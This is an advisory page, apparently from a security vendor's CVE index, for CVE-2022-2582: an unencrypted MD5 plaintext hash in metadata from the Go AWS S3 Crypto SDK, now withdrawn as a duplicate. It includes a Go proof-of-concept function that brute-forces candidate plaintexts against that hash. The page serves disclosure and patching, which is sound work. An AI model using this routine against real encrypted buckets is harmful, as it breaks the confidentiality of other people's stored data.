🛡️ CVE-2022-2582 — aws-software-development-kit
Description
Duplicate Advisory: Unencrypted md5 plaintext hash in metadata in AWS S3 Crypto SDK for golang
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6jvc-q2x7-pchv. This link is maintained to preserve external references.
Original Description
Summary
The golang AWS S3 Crypto SDK was impacted by an issue that can result in loss of confidentiality. An attacker with read access to an encrypted S3 bucket was able to recover the plaintext without accessing the encryption key.
Specific Go Packages Affected
github.com/aws/aws-sdk-go/service/s3/s3crypto
Risk/Severity
The vulnerability poses insider risks/privilege escalation risks, circumventing KMS controls for stored data.
Impact
The issue has been fully mitigated by AWS as of Aug. 5th by disallowing the header in question.
The S3 crypto library tries to store an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext in an offline attack, if the hash is readable to the attacker. In order to be impacted by this issue, the attacker has to be able to guess the plaintext as a whole. The attack is theoretically valid if the plaintext entropy is below the key size, i.e. if it is easier to brute force the plaintext instead of the key itself, but practically feasible only for short plaintexts or plaintexts otherwise accessible to the attacker in order to create a rainbow table.
The issue has been fixed server-side by AWS as of Aug 5th, by blocking the related metadata field. No S3 objects are affected anymore.
Mitigation
The header in question is no longer served by AWS, making this attack fully mitigated as of Aug. 5th.
Proof of concept
A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository, this particular issue can be found at [here](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/hash_exploit.go):
```golang
func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
_, header, err := input.S3Mock.GetObjectDirect(bucket, key)
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
blocks := length / 16
possiblePlaintextNum := 1
segNum := len(input.PossiblePlaintextSegments)
for i := 0; i < blocks; i++ {
possiblePlaintextNum *= segNum
}
for i := 0; i < possiblePlaintextNum; i++ {
w := i
guess := ""
for j := 0; j < blocks; j++ {
guess += input.PossiblePlaintextSegments[w%segNum]
w /= segNum
}
guessMd5 := md5.Sum([]byte(guess))
if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
return guess, nil
}
}
return "", fmt.Errorf("No plaintext found!")
}
```
The PoC will only work on old versions of the library, as the hash has been removed from being calculated as well.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.
Weakness class
CVE-2022-2582 is classified as CWE-326: Inadequate Encryption Strength. Encryption is applied, but with a key length or scheme too weak to resist a realistic attacker.
Affected software
CVE-2022-2582 is recorded against 2 packages.
- aws-software-development-kit (fixed in 1.34.0)
- github.com/aws/aws-sdk-go
Timeline and source
Published on 27 December 2022 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
References
CVE-2022-2582 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| aws-software-development-kit | — | 1.34.0 |
| github.com/aws/aws-sdk-go | — | — |
References
Similar Threats
- Medium CVE-2023-51651
- Critical CVE-2022-4725
More CVE 2022 advisories
Browse all of CVE 2022 in the advisory index.
Exploit Protection
Are you running aws-software-development-kit?
CVE-2022-2582 carries CVSS 4.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2022-2582 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.